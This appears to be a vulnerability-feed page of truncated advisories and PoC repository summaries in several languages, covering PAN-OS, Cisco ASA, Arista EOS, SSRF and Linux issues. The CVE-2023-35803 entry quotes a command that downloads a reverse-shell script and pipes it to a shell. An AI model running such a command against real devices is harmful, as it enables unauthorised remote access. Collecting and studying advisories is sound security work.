CVE-2023-31445-Unprivileged-Information-Disclosure

CVE-2023-31445-Divulgation-d'informations-non-privilégiée Le dépôt contient la description de la CVE-2023-31445 découverte par Dodge Industrial Team pour la plateforme Dodge OPTIFY. Identifiant CVE : CVE-2023-31445 Fournisseur : Cassia Networks Produit : Access Controller Version :...

WinShareEnum

WinShareEnum Énumérateur de partages Windows téléchargement https://github.com/nccgroup/WinShareEnum/raw/master/Info/WinShareEnum.exe Exécution sur une plage de mon réseau local sans domaine, avec quelques partages factices. Veuillez noter qu'il est principalement conçu pour les réseaux à domaine...

CVE-2026-0300-PANOS

CVE-2026-0300-PANOS 🔓 Exécution de code à distance RCE non authentifiée dans le portail User-ID de Palo Alto Networks PAN-OS 📋 Détails de la vulnérabilité...

CVE-2026-20121

A logic error in the Object Group Search (OGS) implementation of Cisco Secure Firewall ASA and FTD Software allows an unauthenticated, remote attacker to bypass configured access controls by sending traffic that should be blocked through the device. A successful exploit could let the attacker rea...

EUVD-2026-81153

A vulnerability in the access control list ACL Object Group Search OGS implementation of Cisco Secure Firewall Adaptive Security Appliance ASA Software and Cisco Secure Firewall Threat Defense FTD Software could allow an unauthenticated, remote attacker to bypass configured access controls. This...

CVE-2024-3400-

Vulnérabilité d'injection de commandes dans le pare-feu PAN-OS Ce dépôt contient un script Go qui exploite une vulnérabilité d'injection de commandes dans les pare-feux exécutant le système d'exploitation PAN-OS de Palo Alto Networks. La vulnérabilité, identifiée sous le nom de CVE-2024-3400,...

CVE-2025-0133

Scanner de vulnérabilité CVE-2025-0133 Un outil de scan automatisé basé sur Bash pour détecter la vulnérabilité CVE-2025-0133 de type XSS réfléchi dans Palo Alto GlobalProtect Gateway & Portal à l'aide de nuclei et shodanx. Auteur : Date : 2025-06-23 Sévérité : Moyenne Identifiant CVE :...

cs50-cyber-paloalto-oauth

Финальный проект CS50 по кибербезопасности Название: Утечка OAuth Salesloft и CVE-2024-3400 влияние на Palo Alto Автор: Yafiya Darwesh GitHub: Yafiah-Darwesh Видео на YouTube: https://youtu.be/CxQNj9qWoZ0?si=cHCwuTIY26YHJ8aw CVE: CVE-2024-3400 Файлы presentation.pdf — слайды script.txt — заметки...

CVE-2017-15944-POC

CVE-2017-15944-POC CVE-2017-15944 Palo Alto Networks ファイアウォールのリモートルートコード実行 のPOC 使用方法 root@kitploit: python panos-poc.py https://panip...

CVE-2025-56563

A Server-Side Request Forgery vulnerability exists in satproxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curlsetoptCURLOPTURL without host or scheme validation. An unauthenticated remote attacker can leverage this to make...

EUVD-2025-210923

A Server-Side Request Forgery vulnerability exists in satproxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curlsetoptCURLOPTURL without host or scheme validation. An unauthenticated remote attacker can leverage this to make...

Arista Networks EOS 802.1X Per-Supplicant ACL Bypass (SA0150) (CVE-2026-75943)

The version of Arista Networks EOS running on the remote device is affected by an access control bypass vulnerability as referenced in security advisory SA0150. - On affected releases of Arista EOS configured as an 802.1X authenticator with per-supplicant access control lists, traffic from an...

Arista Networks EOS P4Runtime Arbitrary Code Execution (SA0174)

The version of Arista Networks EOS running on the remote device is affected by a code injection vulnerability as referenced in security advisory SA0174. - An unauthenticated P4Runtime Programming Protocol-Independent Packet Processors Runtime client can achieve arbitrary code execution under...

Arista Networks EOS 802.1X Per-Supplicant ACL Bypass (SA0150) (CVE-2026-77191)

The version of Arista Networks EOS running on the remote device is affected by an access control bypass vulnerability as referenced in security advisory SA0150. - On affected releases of Arista EOS configured as an 802.1X authenticator with per-supplicant access control lists, the ACL assigned to...

CVE-2024-0012

CVE-2024-0012 CVE-2024-0012 est une bypass d'authentification dans le logiciel PAN-OS de Palo Alto Networks qui permet à un attaquant non authentifié ayant un accès réseau à l'interface de gestion web d'obtenir des privilèges d'administrateur PAN-OS pour effectuer des actions administratives,...

CVE-2026-54452 safeurl: Missing IPv6 CIDR Ranges in Blocklist

safeurl is a server-side request forgery protection library. Prior to 0.2.4, the privateNetworks list in ip.go omits the IPv6 ranges 64:ff9b:1::/48, 5f00::/16, 3fff::/20, and 100:0:0:1::/64. When an application enables IPv6 with EnableIPv6true, an attacker-controlled destination in one of these...

CVE-2023-35803

CVE-2023-35803 - RCE non authentifiée dans les points d'accès sans fil Extreme Networks/Aerohive PoC pour les points d'accès basés sur ARM exécutant HiveOS/IQ Engine "curl :8000/revshell|sh" Article complet ici : https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: Wifi: Prevent A-MSDU attacks in mesh networks This patch is a mitigation measure to prevent the A-MSDU spoofing vulnerability in mesh networks. The initial update to the IEEE 802.11 standard, in response to FragAttacks, overlooke...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.10, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: Wifi: cfg80211: A use-after-free issue was addressed in the cmpbss function. This issue was introduced due to a quirky behavior of the bssfree function introduced in commit 776b3580178f „cfg80211: Properly track hidden SSID...

Astra Linux – Vulnerability in Tomcat9

The documentation for Apache Tomcat versions 10.1.0-M1 to 10.1.0-M14, 10.0.0-M1 to 10.0.20, 9.0.13 to 9.0.62, and 8.5.38 to 8.5.78 states that the EncryptInterceptor enables Tomcat clustering to run over an untrusted network. However, this is incorrect. While the EncryptInterceptor does provide...